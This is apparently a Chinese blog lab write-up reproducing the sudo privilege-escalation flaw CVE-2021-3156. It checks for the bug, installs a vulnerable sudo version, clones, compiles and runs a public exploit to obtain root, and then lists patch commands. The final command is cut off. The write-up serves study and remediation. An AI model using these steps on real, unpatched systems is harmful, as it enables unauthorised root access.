0x01 漏洞描述
这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。研究人员利用该漏洞在多个Linux发行版上成功获得了完整的root权限,包括Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2),并且sudo支持的其他操作系统和Linux发行版也很容易受到攻击。
并非所有存在漏洞的Sudo版本都能利用成功,glibc>=2.27版本漏洞利用难度较小,低版本的glibc也能利用成功,只是漏洞利用难度增加。
关于Linux中的sudoer详解 - yanling0813 - 博客园
0x02 漏洞影响
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
0x03 环境准备
本次复现使用的 ubuntu 版本
uname -a
![](https://img-blog.csdnimg.cn/img_convert/c492ff9888be2efd0ae71d2748fda7cf.png)
查看 sudo 版本
sudo --version
![](https://img-blog.csdnimg.cn/img_convert/118c3fbb1e054296a32ad3c8b8bb7711.png)
判断是否存在改漏洞
sudoedit -s /
返回 usage 开头的内容,表示该漏洞已经修复
返回 sudoedit 开头的内容,表示存在该漏洞
![](https://img-blog.csdnimg.cn/img_convert/e5e518379837ee462d028c4d485b35b3.png)
发现此版本不存在该漏洞,于是安装旧版本的sudo
使用以下命令来获取不同版本的sudo:
apt-cache madison sudo
![](https://img-blog.csdnimg.cn/img_convert/35b664be043c71bad3adf68b78968bd5.png)
安装存在该漏洞的版本:
sudo apt install sudo=1.8.31-1ubuntu1
![](https://img-blog.csdnimg.cn/img_convert/d3b1ec468bedbd746a0427dfb8c58459.png)
安装完成,再次输入
sudoedit -s /
![](https://img-blog.csdnimg.cn/img_convert/4419c308a0b611efbe0ada130c667293.png)
返回 sudoedit 说明存在该漏洞,环境准备OK
0x04 漏洞复现
从github上克隆exp
git clone https://github.com/blasty/CVE-2021-3156.git
切换到 CVE-2021-3156 目录下,make 编译之前需要安装make、gcc组件,命令依次分别为:
sudo apt install make
sudo apt install gcc
make
![](https://img-blog.csdnimg.cn/img_convert/55013522ce62e7a00f85269d60ef2c9a.png)
ls 查看到目录下已经有了 sudo-hax-me-a-sandwich
执行以下命令,查看EXP支持的系统版本
./sudo-hax-me-a-sandwich
![](https://img-blog.csdnimg.cn/img_convert/e739e83134200d70b82942f1e68a4345.png)
再次执行,根据版本选择,尝试提权
sudo ./sudo-hax-me-a-sandwich 1
![](https://img-blog.csdnimg.cn/img_convert/4a22b18ff94eff33fbdf1438284ad5e3.png)
输入whoami ,显示root ,提权成功。
疑问:看poc中显示执行提权操作时,可以不加sudo,但是我这边不加sudo就没有用;加了sudo才能成功,不清楚是为什么。有师傅知道的话麻烦给我解答一下疑惑,谢谢师傅们。
![](https://img-blog.csdnimg.cn/img_convert/4128675a248be55867beefad37edbf66.png)
0x05 修复方式
1、源码编译安装最新Sudo软件包,下载链接为: https://www.sudo.ws/dist/
2、各Linux发行版参照以下命令进行升级解决:
CentOS/RHEL/Oracle Linux :
sudo yum update -y sudo
SUSE :
sudo zypper update -y sudo
Ubuntu/Debian :
sudo apt-get update && sudo apt-get